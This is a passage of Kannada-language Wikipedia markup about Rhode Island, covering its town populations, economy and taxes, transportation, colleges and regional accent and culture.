ವೆಸ್ಟ್ ವಾರ್ವಿಕ್ (29,581)<ref name="Rhode Island populations"/> # ಜಾನ್‌ಸ್ಟನ್ (28,195)<ref name="Rhode Island populations"/> # ಸೌತ್ ಕಿಂಗ್‌ಸ್ಟೌನ್ (27,921)<ref name="Rhode Island populations"/> # ನಾರ್ತ್ ಕಿಂಗ್‌ಸ್ಟೌನ್ (26,726)<ref name="Rhode Island populations"/> # ನ್ಯೂಪೋರ್ಟ್ (26,475)<ref>[http://quickfacts.census.gov/qfd/states/44/4449960.html ನ್ಯೂಪೋರ್ಟ್ ಸಿಟಿ US ಸೆನ್ಸಸ್ ಡಾಟಾ] {{Webarchive|url=https://web.archive.org/web/20130120051629/http://quickfacts.census.gov/qfd/states/44/4449960.html |date=ಜನವರಿ 20, 2013 }} 2009ರ ಫೆಬ್ರವರಿ 13ರಂದು ಮರುಸಂಪಾದಿಸಲಾಗಿದೆ.</ref> # ಬ್ರಿಸ್ಟಾಲ್ (22,469)<ref name="Rhode Island populations"/> ಇತರೆ ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್ ರಾಜ್ಯಗಳಿಗೆ ಸದೃಶವಾಗಿ, ರೋಡ್ ಐಲೆಂಡ್ ನಗರಗಳು ಮತ್ತು ಪಟ್ಟಣಗಳು ಐತಿಹಾಸಿಕ ಉಪಜಿಲ್ಲೆಗಳನ್ನು ಬಿಂಬಿಸುವ ಗ್ರಾಮಗಳಾಗಿ ವಿಭಜನೆಯಾಗಿದೆ. ಅವು ನಂತರ ಆಡಳಿತಾತ್ಮಕ ಉದ್ದೇಶಗಳಿಗೆ ವಿಲೀನಗೊಂಡಿತು. ಹೆಸರಾಂತ ಗ್ರಾಮಗಳು ದಕ್ಷಿಣ ಕಿಂಗ್‌ಸ್ಟೌನ್‌ ಪಟ್ಟಣದಲ್ಲಿರುವ ಕಿಂಗ್‌ಸ್ಟನ್ ರೋಡ್ ಐಲೆಂಡ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯಕ್ಕೆ ನೆಲೆಯಾಗಿದೆ. ಉತ್ತರ ಕಿಂಗ್‌ಸ್ಟೌನ್‌ನ ವಿಕ್‌ಫೋರ್ಡ್ ವಾರ್ಷಿಕ ಅಂತಾರಾಷ್ಟ್ರೀಯ ಕಲಾ ಉತ್ಸವದ ಸ್ಥಳವಾಗಿದೆ. == ಆರ್ಥಿಕತೆ == [[ಚಿತ್ರ:Providencetextronside.JPG|220px|right|thumb|ಟೆಕ್ಸ್‌ಟ್ರಾನ್ಸ್ ಮುಖ್ಯಕಾರ್ಯಾಲಯ, ರೋಡ್ ಐಲೆಂಡ್ ಫೈನಾನ್ಸಿಯಲ್ ಪ್ಲಾಜಾ ಮತ್ತು ರೋಡ್ ಐಲೆಂಡ್ ಹಾಸ್ಪಿಟಲ್ ಟ್ರಸ್ಟ್ ಕಟ್ಟಡದ ಜತೆಯಲ್ಲಿ]] ರೋಡ್ ಐಲೆಂಡ್ ಆರ್ಥಿಕತೆಯು ಮೀನುಗಾರಿಕೆ ಮತ್ತು ಕೃಷಿಯಲ್ಲಿ ವಸಾಹತು ಮೂಲವನ್ನು ಹೊಂದಿದ್ದು, ಸ್ವಾತಂತ್ರ್ಯದ ನಂತರ ಕ್ರಮವಾಗಿ ಹಡಗುನಿರ್ಮಾಣ ಮತ್ತು ಉತ್ಪಾದನೆಯಾಗಿ ಪರಿವರ್ತನೆಯಾಯಿತು. ಬ್ಲಾಕ್‌ಸ್ಟೋನ್ ರಿವರ್ ಕಣಿವೆಯು ಅಮೆರಿಕ ಕೈಗಾರಿಕೆ ಕ್ರಾಂತಿಗೆ ಪ್ರಮುಖ ಕೊಡುಗೆ ನೀಡಿದೆ". ಸ್ಯಾಮ್ಯುಯಲ್ ಸ್ಲೇಟರ್ 1793ರಲ್ಲಿ ಸ್ಲೇಟರ್ ಗಿರಣಿಯನ್ನು ಪಾವ್‌ಟಕೆಟ್‌ನಲ್ಲಿ ಸ್ಥಾಪಿಸಿದರು.<ref>{{cite web|url=http://www.slatermill.org|publisher=Slater Mill Historic Site|title=Slater Mill|accessdate=April 13, 2008}}</ref> ತಮ್ಮ ಹತ್ತಿ ಗಿರಣಿಗೆ ಬ್ಲಾಕ್‌ಸ್ಟೋನ್ ನದಿಯ ಜಲಚಾಲಿತ ಶಕ್ತಿಯನ್ನು ಬಳಸಿಕೊಂಡು ಶಕ್ತಿ ಒದಗಿಸಿದರು. ಕೆಲವು ಕಾಲದವರೆಗೆ ರೋಡ್ ಐಲೆಂಡ್ ವಸ್ತ್ರೋದ್ಯಮದಲ್ಲಿ ಪ್ರಮುಖ ಸ್ಥಾನವನ್ನು ಗಳಿಸಿತ್ತು. ಆದಾಗ್ಯೂ, ಮಹಾ ಹಿಂಜರಿತದಿಂದ ಬಹುತೇಕ ವಸ್ತ್ರೋದ್ಯಮ ಕೈಗಾರಿಕೆಗಳು ದಕ್ಷಿಣ ಅಮೆರಿಕ ರಾಜ್ಯಗಳಿಗೆ ಸ್ಥಳಾಂತರಗೊಂಡವು. ರೋಡ್ ಐಲೆಂಡ್ ಆರ್ಥಿಕತೆಯಲ್ಲಿ ವಸ್ತ್ರೋದ್ಯಮವು ಈಗಲೂ ಒಂದು ಮುಖ್ಯಭಾಗವಾಗಿದ್ದರೂ, ಅದಕ್ಕೆ ಒಂದು ಕಾಲದಲ್ಲಿದ್ದ ಸಮಾನ ಶಕ್ತಿ ಈಗಿಲ್ಲ. ರೋಡ್ ಐಲೆಂಡ್ ಹಿಂದಿನ ಇತರ ಮುಖ್ಯ ಕೈಗಾರಿಕೆಗಳಲ್ಲಿ ವೇಷಾಭರಣ ಮತ್ತು ಬೆಳ್ಳಿಯ ಪಾತ್ರೆಗಳು ಒಳಗೊಂಡಿವೆ. ರೋಡ್ ಐಲೆಂಡ್ ಕೈಗಾರಿಕೆ ಇತಿಹಾಸದ ಆಸಕ್ತಿಕರ ಉಪಉತ್ಪನ್ನವು ಪರಿತ್ಯಜಿಸಿದ ಕಾರ್ಖಾನೆಗಳಾಗಿದ್ದು, ಈಗ ಕಡಿಮೆ ಆದಾಯದ ವಸತಿಗಳಿಗೆ,ಹಿರಿಯರ ಗೃಹಗಳಿಗೆ, ಸಹಸ್ವಾಮ್ಯಭವನಗಳಿಗೆ, ವಸ್ತುಸಂಗ್ರಹಾಲಯಗಳಿಗೆ ಮತ್ತು ಕಚೇರಿಗಳಿಗೆ ಬಳಸಲಾಗುತ್ತಿದೆ. ಇಂದು ರೋಡ್ ಐಲೆಂಡ್ ಹೆಚ್ಚಿನ ಆರ್ಥಿಕತೆಯು ಸೇವೆಗಳನ್ನು ಆಧರಿಸಿದ್ದು, ವಿಶೇಷವಾಗಿ ಆರೋಗ್ಯಪಾಲನೆ ಮತ್ತು ಶಿಕ್ಷಣ ಹಾಗು ಸ್ವಲ್ಪಮಟ್ಟಿಗೆ ಉತ್ಪಾದನೆಯನ್ನು ಅವಲಂಬಿಸಿದೆ.<ref>{{cite web|url=http://www.city-data.com/us-cities/The-Northeast/Providence-Economy.html|publisher=Advameg, Inc.|title=Providence: Economy - Major Industries and Commercial Activity|accessdate=April 13, 2008}}</ref><ref>{{cite web|url=http://stats.bls.gov/eag/eag.ri.htm|title=Rhode Island Economy at a Glance|publisher=US Dept. of Labor|accessdate=April 13, 2008}}</ref> [[ಚಿತ್ರ:RI towns Narragansett.png|right|thumb|220px|ನರ್ರಾಗನ್‌ಸೆಟ್ ಟವರ್ಸ್ ಮತ್ತು ನರ್ರಾಗನ್‌ಸೆಟ್ ಟೌನ್ ಬೀಚ್,ರೋಡ್ ಐಲೆಂಡ್‌ನ ಪ್ರವಾಸಿ ಸ್ಥಳಗಳಲ್ಲೊಂದು.]] ಅಮೆರಿಕದ 14ನೇ ದೊಡ್ಡ ಬ್ಯಾಂಕ್ ಸಿಟಿಜನ್ಸ್ ಫೈನಾನ್ಸಿಯಲ್ ಗ್ರೂಪ್‌ನ ಮುಖ್ಯಕಾರ್ಯಾಲಯವು ಪ್ರಾವಿಡೆನ್ಸ್‌ನಲ್ಲಿ ನೆಲೆಗೊಂಡಿದೆ.<ref>{{cite web|url=http://nyjobsource.com/banks.html |title=Nation's Largest Banks |publisher=Nyjobsource.com |date=June 30, 2009 |accessdate=July 31, 2010}}</ref> ದಿ ಫಾರ್ಚ್ಯುನ್ 500 ಕಂಪೆನಿಗಳಾದ CVS ಕೇರ್‌ಮಾರ್ಕ್ ಮತ್ತು ಟೆಕ್ಸ್‌ಟ್ರಾನ್ ಕ್ರಮವಾಗಿ ವೂನ್‌ಸಾಕೆಟ್ ಮತ್ತು ಪ್ರಾವಿಡೆನ್ಸ್‌ನಲ್ಲಿ ನೆಲೆಗೊಂಡಿದೆ. FM ಗ್ಲೋಬಲ್, GTECH ಕಾರ್ಪೊರೇಷನ್, ಹ್ಯಾಸ್‌ಬ್ರೊ, ಅಮೆರಿಕನ್ ಪವರ್ ಕನ್ವರ್ಷನ್, ನಾರ್ಟೆಕ್, ಮತ್ತು ಅಮಿಕಾ ಮ್ಯೂಚುಯಲ್ ಇನ್ಶೂರೆನ್ಸ್ ಎಲ್ಲವೂ ರೋಡ್ ಐಲೆಂಡಿನಲ್ಲಿ ನೆಲೆಗೊಂಡಿರುವ ಫಾರ್ಚ್ಯೂನ್ 10000 ಕಂಪೆನಿಗಳಾಗಿವೆ.<ref>{{cite web|url=http://money.cnn.com/magazines/fortune/fortune500/2009/snapshots/387.html |title=Fortune 500 2009: Top 1000 American Companies - Exxon Mobil - XOM - FORTUNE on CNNMoney.com |publisher=Money.cnn.com |date= |accessdate=July 31, 2010}}</ref> ರೋಡ್ ಐಲೆಂಡಿನಲ್ಲಿ 2000ದ ಒಟ್ಟು ರಾಜ್ಯ ಉತ್ಪನ್ನವು $33ಶತಕೋಟಿಯಾಗಿದ್ದು, ರಾಷ್ಟ್ರದಲ್ಲಿ ಅದನ್ನು 45<sup>(th ) ನೇ</sup>ಸ್ಥಾನದಲ್ಲಿರಿಸಿದೆ. ಇದರ 2000ನೇ ಇಸವಿಯ ''ತಲಾ'' ವೈಯಕ್ತಿಕ ಆದಾಯವು $29,685ಗಳಷ್ಟಿದ್ದು, ರಾಷ್ಟ್ರದಲ್ಲಿ 16<sup>th ನೇ</sup> ಸ್ಥಾನದಲ್ಲಿದೆ. ರೋಡ್ ಐಲೆಂಡ್ ಯಾವುದೇ ರಾಜ್ಯಕ್ಕಿಂತ ತಲಾ ಇಂಧನ ಬಳಕೆಯಲ್ಲಿ ಅತೀ ಕಡಿಮೆ ಮಟ್ಟವನ್ನು ಹೊಂದಿದೆ.<ref>{{cite web|url=http://www.eia.doe.gov/emeu/aer/txt/ptb0106.html|title= State-Level Energy Consumption, Expenditures, and Prices, 2004|publisher=US Dept. of Energy|accessdate=April 13, 2008}}</ref><ref>{{cite web|url=http://www.census.gov/compendia/statab/ranks/rank30.htm|title=Energy consumption per capita, 2003|publisher=US Census Bureau|accessdate=June 26, 2008 |archiveurl = https://web.archive.org/web/20080414201433/http://www.census.gov/compendia/statab/ranks/rank30.htm |archivedate = April 14, 2008}}</ref><ref>{{cite web|url=http://www.sustainablemiddleclass.com/energy-consumption.html|title=Energy Consumption: Red State and Blue State Comparisons|publisher=sustainablemiddleclass.com|accessdate=June 26, 2008|archive-date=ಜೂನ್ 2, 2008|archive-url=https://web.archive.org/web/20080602114044/http://sustainablemiddleclass.com/energy-consumption.html|url-status=dead}}</ref> ಮೇ 2010 ರಲ್ಲಿ ರಾಜ್ಯದ ನಿರುದ್ಯೋಗ ದರ 12.5% ಇತ್ತು.[162] ಆರೋಗ್ಯ ಪಾಲನೆಗಳು ರೋಡ್ ಐಲೆಂಡ್ ಅತೀ ದೊಡ್ಡ ಕೈಗಾರಿಕೆಯಾಗಿದೆ. ಎರಡನೆಯದು ಪ್ರವಾಸೋದ್ಯಮವಾಗಿದ್ದು, 39, ೦೦೦ ಉದ್ಯೋಗಗಳಿಗೆ ಒತ್ತಾಸೆಯಾಗಿದೆ. 2000ನೇ ವರ್ಷದಲ್ಲಿ ಪ್ರವಾಸೋದ್ಯಮದ ಸಂಬಂಧಿತ ಮಾರಾಟಗಳು $3.26ಶತಕೋಟಿಯನ್ನು ಮುಟ್ಟಿದೆ. ಮೂರನೇ ಅತೀ ದೊಡ್ಡ ಉದ್ಯಮವು ಉತ್ಪಾದನೆ ಕ್ಷೇತ್ರವಾಗಿದೆ.<ref>{{cite web|url=http://www.visitrhodeisland.com/facts_history/rifacts.aspx|title=Facts about Rhode Island|publisher=VisitRhodeIsland.com|accessdate=April 13, 2008|archive-date=ಮೇ 12, 2008|archive-url=https://web.archive.org/web/20080512002351/http://www.visitrhodeisland.com/facts_history/rifacts.aspx|url-status=dead}}</ref> ಇದರ ಕೈಗಾರಿಕೆ ಉತ್ಪನ್ನಗಳು ವೇಷಾಭರಣಗಳು, ತಯಾರಿಸಿದ ಲೋಹ ಉತ್ಪನ್ನಗಳು, ವಿದ್ಯುತ್ ಉಪಕರಣ,ಯಂತ್ರ,ಹಡಗುನಿರ್ಮಾಣ ಮತ್ತು ದೋಣಿನಿರ್ಮಾಣ. ರೋಡ್ ಐಲೆಂಡ್ ಕೃಷಿ ಉತ್ಪನ್ನಗಳು ಸಸ್ಯೋದ್ಯಾನ, ತರಕಾರಿಗಳು, ಹೈನುಗಾರಿಕೆ ಉತ್ಪನ್ನಗಳು ಮತ್ತು ಮೊಟ್ಟೆಗಳು. ರೋಡ್ ಐಲೆಂಡ್ ತೆರಿಗೆಗಳು ನೆರೆಯ ರಾಜ್ಯಗಳಿಗಿಂತ ಗಮನಾರ್ಹವಾಗಿ ಹೆಚ್ಚಾಗಿದೆ.<ref name="taxes"/> ಏಕೆಂದರೆ ರೋಡ್ ಐಲೆಂಡ್ ಆದಾಯ ತೆರಿಗೆಯು ಪಾವತಿದಾರನ ಫೆಡರಲ್ ಆದಾಯ ತೆರಿಗೆ ಪಾವತಿಯ 25%ಆಧರಿಸಿದೆ.<ref>{{cite web|url=http://www.taxadmin.org/fta/rate/ind_inc.pdf|accessdate=April 13, 2008|publisher=Federation of Tax Administrators|title=State Individual Income Taxes|format=PDF|archive-date=ಏಪ್ರಿಲ್ 14, 2008|archive-url=https://web.archive.org/web/20080414005744/https://www.taxadmin.org/fta/rate/ind_inc.pdf|url-status=dead}}</ref> ಹೆಚ್ಚಿನ ತೆರಿಗೆ ದರವು ಉದ್ಯಮದ ಬೆಳವಣಿಗೆಗೆ ರಾಜ್ಯದಲ್ಲಿ ಪ್ರತಿರೋಧಕ ಪರಿಣಾಮ ಬೀರುತ್ತದೆಂದು ಗವರ್ನರ್ ಕಾರ್ಸಿಯೇರಿ ಪ್ರತಿಪಾದಿಸಿದ್ದು, ರಾಜ್ಯದ ಉದ್ಯಮ ಪರಿಸರದ ಸ್ಪರ್ಧಾತ್ಮಕತೆಯನ್ನು ಹೆಚ್ಚಿಸಲು ತೆರಿಗೆಯನ್ನು ತಗ್ಗಿಸಬೇಕೆಂದು ಕರೆನೀಡಿದರು. 2010ರಲ್ಲಿ ರೋಡ್ ಐಲೆಂಡ್ ಜನರಲ್ ಅಸೆಂಬ್ಲಿ ಹೊಸ ರಾಜ್ಯ ಆದಾಯತೆರಿಗೆ ರಚನೆಯನ್ನು ಅನುಮೋದಿಸಿತು ಮತ್ತು ಗವರ್ನರ್ ಕಾರ್ಸಿಯೇರಿ 2010 ಜೂನ್9thರಂದು ಅದನ್ನು ಕಾನೂನಾಗಿಸಿ ಅಂಕಿತ ಹಾಕಿದರು.<ref>{{cite web |url=http://newsblog.projo.com/2010/06/carcier-signs-law-changing-inc.html |title=Carcieri signs law changing income tax structure - Projo 7 to 7 News Blog &#124; Rhode Island news &#124; The Providence Journal |publisher=Newsblog.projo.com |date=June 9, 2010 |accessdate=July 31, 2010 |archive-date=ಜೂನ್ 13, 2010 |archive-url=https://web.archive.org/web/20100613014203/http://newsblog.projo.com/2010/06/carcier-signs-law-changing-inc.html |url-status=dead }}</ref> ಆದಾಯತೆರಿಗೆಯ ಪೂರ್ಣ ಪರೀಕ್ಷೆಯಿಂದ ರೋಡ್ ಐಲೆಂಡ್ ತನ್ನ ಗರಿಷ್ಠ ತೆರಿಗೆ ದರವನ್ನು 5.99%ಗೆ ಇಳಿಮುಖಗೊಳಿಸಿತು ಹಾಗು ತೆರಿಗೆ ದರ ಬದಲಾಗುವ ಹಂತಗಳನ್ನು ಮೂರಕ್ಕೆ ಇಳಿಸುವ ಮೂಲಕ ಇತರೆ ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್ ರಾಜ್ಯಗಳಿಗೆ ಪೈಪೋಟಿ ನೀಡುವಂತಾಯಿತು.<ref>{{cite web|url=http://www.projo.com/business/yourmoney/content/state_tax_overhaul_plan_06-05-10_ECIOV59_v13.1839414.html |title=R.I. General Assembly approves income tax overhaul &#124; Your money &#124; projo.com &#124; The Providence Journal |publisher=projo.com |date=June 5, 2010 |accessdate=July 31, 2010}}</ref> ರಾಜ್ಯದ ಪ್ರಥಮ ಆದಾಯತೆರಿಗೆಯನ್ನು 1971ರಲ್ಲಿ ಜಾರಿಗೆ ತರಲಾಯಿತು.<ref>{{cite web |url=http://www.rilin.state.ri.us/rhodeislandhistory/chapt8.html |title=CHAPTER VIII, The Era of Transition. 1946-1983 |date=December 29, 2009 |work=Chapter VIII:Era of Transition |publisher=State of Rhode Island General Assembly |access-date=ನವೆಂಬರ್ 17, 2010 |archive-date=ಸೆಪ್ಟೆಂಬರ್ 2, 2012 |archive-url=https://web.archive.org/web/20120902080009/http://www.rilin.state.ri.us/rhodeislandhistory/chapt8.html |url-status=dead }}</ref> == ಸಾರಿಗೆ ವ್ಯವಸ್ಥೆ == [[ಚಿತ್ರ:RIPTA Gillig Low Floor 0517.jpg|200px|thumb|left|ಕೆನಡಿ ಪ್ಲಾಜಾದಲ್ಲಿರುವ RIPTAಬಸ್.]] [[ಚಿತ್ರ:Claiborne Pell Newport Bridge.jpg|thumb|200px|ಕ್ಲೇರ್‌ಬಾರ್ನ್ ಪೆಲ್ ನ್ಯೂಪೋರ್ಟ್ ಸೇತುವೆ]] ರೋಡ್ ಐಲೆಂಡ್ ಸಾರ್ವಜನಿಕ ಸಾರಿಗೆ ಪ್ರಾಧಿಕಾರ(RIPTA)ವು ಪ್ರಾವಿಡೆನ್ಸ್‌‌ ವ್ಯಾಪಾರ ಪ್ರದೇಶದಲ್ಲಿ ತನ್ನ ಕೇಂದ್ರವನ್ನು ಹೊಂದಿದ್ದು, ರಾಜ್ಯದ ಸ್ಥಳೀಯ ಬಸ್ ಸಾರಿಗೆಯನ್ನು ನಿರ್ವಹಿಸುತ್ತದೆ ಹಾಗು ರೋಡ್ ಐಲೆಂಡ್ ಸಮುದಾಯಗಳಲ್ಲಿ 39ರ ಪೈಕಿ 38ಕ್ಕೆ ಸೇವೆ ಸಲ್ಲಿಸುತ್ತದೆ. RIPTA58ಬಸ್ ಮಾರ್ಗಗಳನ್ನು,LINKಎಂದು ಹೆಸರಾದ 2 ಪ್ರವಾಸಿ ಟ್ರಾಲಿ ಮಾರ್ಗಗಳನ್ನು ಮತ್ತು ನ್ಯೂಪೋರ್ಟ್‌ಗೆ ಋತುಯೋಗ್ಯವಾದ ದೋಣಿ ಸಾರಿಗೆಯನ್ನು ಹೊಂದಿದೆ.<ref>{{cite web|url=http://www.ripta.com/about/index.php?section=0|title=About RIPTA|publisher=RIPTA|accessdate=December 16, 2007|archive-date=ಜನವರಿ 5, 2010|archive-url=https://web.archive.org/web/20100105123442/http://ripta.com/about/index.php?section=0|url-status=dead}}</ref> MBTA ಪ್ರಯಾಣಿಕರ ರೈಲಿನ ಪ್ರಾವಿಡೆನ್ಸ್/ಸ್ಟೌಟನ್ ಮಾರ್ಗದ ದಕ್ಷಿಣ ನಿಲ್ದಾಣವು ಕೂಡ ಪ್ರಾವಿಡೆನ್ಸ್ ವ್ಯಾಪಾರ ಪ್ರದೇಶದಲ್ಲಿದ್ದು, ಬೋಸ್ಟೋನ್‌ಗೆ ಸಂಪರ್ಕಿಸುತ್ತದೆ. ದೋಣಿ ಸಾರಿಗೆ ಸೇವೆಗಳು ಬ್ಲಾಕ್ ದ್ವೀಪ, ಪ್ರೂಡೆನ್ಸ್ ದ್ವೀಪ,ಮತ್ತುಹಾಗ್ ದ್ವೀಪ ವನ್ನು ರೋಡ್ ಐಲೆಂಡ್ ಮುಖ್ಯನಾಡಿಗೆ ಸಂಪರ್ಕಿಸುತ್ತದೆ. ಪ್ರಮುಖ ವಿಮಾನನಿಲ್ದಾಣಗಳು ವಾರ್ವಿಕ್‌ನ T. F. ಗ್ರೀನ್ ವಿಮಾನನಿಲ್ದಾಣ ಮತ್ತು ಬೋಸ್ಟನ್‌ನ ಲೋಗಾನ್ ಅಂತಾರಾಷ್ಟ್ರೀಯ ವಿಮಾನನಿಲ್ದಾಣ. ಪ್ರಯಾಣಿಕರ ರೈಲು T.F. ಗ್ರೀನ್ ವಿಮಾನನಿಲ್ದಾಣಕ್ಕೆ ವಿಸ್ತರಿಸುವ ಪ್ರಕ್ರಿಯೆಯಲ್ಲಿದ್ದು, ಅದು ವಿಮಾನನಿಲ್ದಾಣವನ್ನು ರೈಲಿನ ಮೂಲಕ ಪ್ರಾವಿಡೆನ್ಸ್ ಮತ್ತು ಬೋಸ್ಟನ್‌ಗೆ ಸಂಪರ್ಕಿಸುತ್ತದೆ. ಇಂಟರ್‌ಸ್ಟೇಟ್ 95 ರಾಜ್ಯಕ್ಕೆ ಅಡ್ಡಲಾಗಿ ಕರ್ಣೀಯವಾಗಿ ಸಾಗಿ ಪ್ರಮುಖ ಜನಸಂಖ್ಯೆ ಕೇಂದ್ರಗಳಿಗೆ ಸಂಪರ್ಕ ಕಲ್ಪಿಸುತ್ತದೆ. ಸಹಾಯಕ ಇಂಟರ್‌ಸ್ಟೇಟ್ 295 ಪ್ರಾವಿಡೆನ್ಸ್ ಸುತ್ತ ಉಪಮಾರ್ಗವನ್ನು ಒದಗಿಸುತ್ತದೆ. ನರಾಂಗ್‌ಸೆಟ್ ಕೊಲ್ಲಿಯು ಅನೇಕ ಸೇತುವೆ ಅಡ್ಡಮಾರ್ಗಗಳನ್ನು ಹೊಂದಿದ್ದು,ಇದು ಅಕ್ವಿಡ್‌ನೆಕ್ ದ್ವೀಪ ಮತ್ತು ಕನಾನಿಕಟ್ ದ್ವೀಪವನ್ನು ಮುಖ್ಯನಾಡಿಗೆ ಸಂಪರ್ಕಿಸುತ್ತದೆ. ಬಹುತೇಕ ಗಮನಾರ್ಹವಾದುದು ಕ್ಲೈಬಾರ್ನ್ ಪೆಲ್ ನ್ಯೂಪೋರ್ಟ್ ಸೇತುವೆ ಮತ್ತು ಜೇಮ್ಸ್‌ಟೌನ್ ವೆರೆಜಾನೊ ಸೇತುವೆ I-95ಹೆದ್ದಾರಿಯು ವಿಶೇಷವಾಗಿ ಬೇಸಿಗೆ ತಿಂಗಳಲ್ಲಿ ರಾಷ್ಟ್ರದ ಮಾರಕ ಹೆದ್ದಾರಿಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. "2004 ಮತ್ತು 2008ರಲ್ಲಿ ಹೆದ್ದಾರಿಯಲ್ಲಿ 36ಮಾರಣಾಂತಿಕ ಅಪಘಾತಗಳು ಸಂಭವಿಸಿದ್ದು, ಪ್ರತಿ ಮೈಲಿಗೆ ಸರಿಸುಮಾರು ಒಂದು ಅಪಘಾತದ ದರದಲ್ಲಿದೆ." <ref>{{cite web|url=http://www.golocalprov.com/index.php/news/deadliest-highway/ |title=News &#124; RI Has One of the Deadliest Highways |publisher=GoLocalProv |date=June 7, 2010 |accessdate=July 31, 2010}}</ref> == ಮಾಧ್ಯಮ == {{Main|Media in Rhode Island}} == ಶಿಕ್ಷಣ == [[ಚಿತ್ರ:Manning Chapel.jpg|thumb|225px|right|ಬ್ರೌನ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಮ್ಯಾನಿಂಗ್ ಹಾಲ್]] [[ಚಿತ್ರ:Histor1.jpg|thumb|225px|right|ಬ್ರಯಾಂಟ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಬೆಲ್ಲೊ ಕೇಂದ್ರ.]] === ಪ್ರಾಥಮಿಕ ಮತ್ತು ಮಾಧ್ಯಮಿಕ ಶಾಲೆಗಳು === {{See|Rhode Island schools}} === ಕಾಲೇಜುಗಳು ಮತ್ತು ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳು === {{Main|List of colleges and universities in Rhode Island}} ರೋಡ್ ಐಲೆಂಡ್ ಹಲವಾರು ಕಾಲೇಜುಗಳು ಮತ್ತು ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳನ್ನು ಹೊಂದಿದೆ. <div> * ಬ್ರೌನ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ * ಬ್ರಯಾಂಟ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ * ರೋಡ್ ಐಲೆಂಡ್ ಕಮ್ಯುನಿಟಿ ಕಾಲೇಜು * ಜಾನ್ಸನ್ & ವೇಲ್ಸ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ * ನೇವಲ್ ವಾರ್ ಕಾಲೇಜು * ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್ ಇನ್ಸ್‌ಟಿಟ್ಯೂಟ್ ಆಫ್ ಟೆಕ್ನಾಲಜಿ * ಪ್ರಾವಿಡೆನ್ಸ್ ಕಾಲೇಜು * ರೋಡ್ ಐಲೆಂಡ್ ಕಾಲೇಜು * ರೋಡ್ ಐಲೆಂಡ್ ಸ್ಕೂಲ್ ಆಫ್ ಡಿಸೈನ್ * ರೋಜರ್ ವಿಲಿಯಮ್ಸ್ ಯೂನಿವರ್ಸಿಟಿ * ಸಾಲ್ವೆ ರೆಜಿನಾ ಯೂನಿವರ್ಸಿಟಿ * ರೋಡ್ ಐಲೆಂಡ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ </div> == ಸಂಸ್ಕೃತಿ == [[ಚಿತ್ರ:beavertailwater.jpg|225px|thumb|ಬೀವರ್‌ಟೇಲ್ ಸ್ಟೇಟ್ ಪಾರ್ಕ್]] ಕೆಲವು ರೋಡ್ ಐಲೆಂಡ್ ವಾಸಿಗಳು ನಾನ್ ರೋಹ್ಟಿಕ್(R ಉಚ್ಚಾರಣೆ ಯಿಲ್ಲದೇ) ಉಚ್ಚಾರಣೆಯಲ್ಲಿ ಮಾತನಾಡುತ್ತಾರೆ. ಅದನ್ನು ಅನೇಕ ಮಂದಿ "ಬ್ರೂಕ್‌ಲಿನ್‌"ಗೆ ಅಥವಾ ನ್ಯೂಯಾರ್ಕ್ ಮತ್ತು ಬೋಸ್ಟನ್ ಉಚ್ಚಾರಣೆ ನಡುವೆ ಮಿಶ್ರಣಕ್ಕೆ ಹೋಲಿಸುತ್ತಾರೆ.("water" ಉಚ್ಚಾರಣೆ "wata"ಎಂದಾಗುತ್ತದೆ). ಅನೇಕ ರೋಡ್ ಐಲೆಂಡ್ ನಿವಾಸಿಗಳು ನ್ಯೂಜೆರ್ಸಿಯಲ್ಲಿ ಕೇಳಿಬರುವ ''ಆವ್'' ಶಬ್ದವನ್ನು{{IPA-en|ɔː|}} ವಿಶಿಷ್ಠವಾಗಿ ಉಚ್ಚರಿಸುತ್ತಾರೆ. ಉದಾ., ''ಕಾಫೀ'' ಪದವು {{pron|ˈkɔːfiː}} {{respell|KAW|fee}} ಎಂದಾಗುತ್ತದೆ.<ref name="rilang">{{cite web|url=http://www.quahog.org/factsfolklore/index.php?id=43|title=Guide to Rhode Island Language Stuff|accessdate=May 30, 2007|publisher=Quahog.org}}</ref> ಹದಿನೇಳನೇ ಶತಮಾನದ ಮಧ್ಯಕಾಲದಲ್ಲಿ ಪೂರ್ವ ಇಂಗ್ಲೆಂಡ್‌ನ ಮುಂಚಿನ ನಿವಾಸಿಗಳಾದ ಪ್ಯೂರಿಟನ್ನರು ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್‌ಗೆ ವಲಸೆ ಹೋದಾಗ, ಈ ರೀತಿಯ ಉಚ್ಚಾರಣೆಯನ್ನು ಪ್ರದೇಶಕ್ಕೆ ತರಲಾಯಿತು.<ref>ಡೇವಿಡ್ ಹ್ಯಾಕೆಟ್ ಫಿಷರ್, ಆಲ್ಬಿಯನ್ಸ್ ಸೀಡ್: ಫೋರ್ ಬ್ರಿಟಿಷ್ ಫೋಕ್‌ವೇಸ್ ಇನ್ ಅಮೆರಿಕ (ಆಕ್ಸ್‌ಫರ್ಡ್ ಯೂನಿವರ್ಸಿಟಿ ಪ್ರೆಸ್, 1989), pg. 13-207 (ISBN 0-19-506905-6)</ref> "ಸಾಗರ ರಾಜ್ಯ" ಎಂಬ ಉಪನಾಮ ಹೊಂದಿರುವ ರೋಡ್ ಐಲೆಂಡ್ ಬೌಗೋಳಿಕತೆಯ ಕಡಲಿನ ಸಂಬಂಧವು ಅದರ ಸಂಸ್ಕೃತಿಯನ್ನು ವ್ಯಾಪಿಸುವಂತೆ ಮಾಡಿದೆ. ನ್ಯೂಪೋರ್ಟ್ ಬಂದರು ವಿಶೇಷವಾಗಿ ಅನೇಕ ವಿಹಾರ ದೋಣಿಗಳನ್ನು ಒಳಗೊಂಡಿದೆ. ರಾಜ್ಯದ ಮುಖ್ಯ ವಿಮಾನನಿಲ್ದಾಣ T. F. ಗ್ರೀನ್ ಮೊಗಸಾಲೆಯಲ್ಲಿ ದೊಡ್ಡ ಸಹಜಗಾತ್ರದ ದೋಣಿಯಿದೆ<ref>{{cite 